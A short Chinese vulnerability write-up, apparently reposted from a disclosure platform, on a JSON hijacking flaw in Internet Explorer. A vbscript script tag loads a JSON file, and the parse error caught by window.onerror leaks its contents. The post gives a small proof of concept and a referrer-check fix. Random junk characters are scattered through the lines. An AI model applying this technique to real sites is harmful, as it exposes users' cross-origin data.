IE通用JSON劫持漏洞

admin

简要描述：

由于某些资源容器对数据处理不当导致json劫持漏洞.
. d( G) x3 ^1 z; a4 V3 Z- f" ?详细说明：
由于ie支持vbscript,所以script元素可以指定成vbscript语言:
# p! ~  b7 T, c$ x! U# _<script language=vbscript></script>

当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
- q5 D% t. U9 p+ m8 k: h漏洞证明：
1 v, r1 Z- L* O! N0 f  l! A2 h<script>
  W! Q2 d6 J" D+ c/ \6 Vwindow.onerror=function(_){
alert(_)
5 _0 L( l" R: P}
2 H! j7 j  n4 f- c* }/ A6 ~' t</script>
% J0 V1 V8 g0 |* S0 ^1 ~: |<script language=vbscript src=1.json></script>


1.json:
[{"name":"sogili","age":19}]
修复方案：
& @, ?3 `! m( f3 u/ ^, |+ g网站业务对于这个问题可以通过验证referrer是否为同源来防御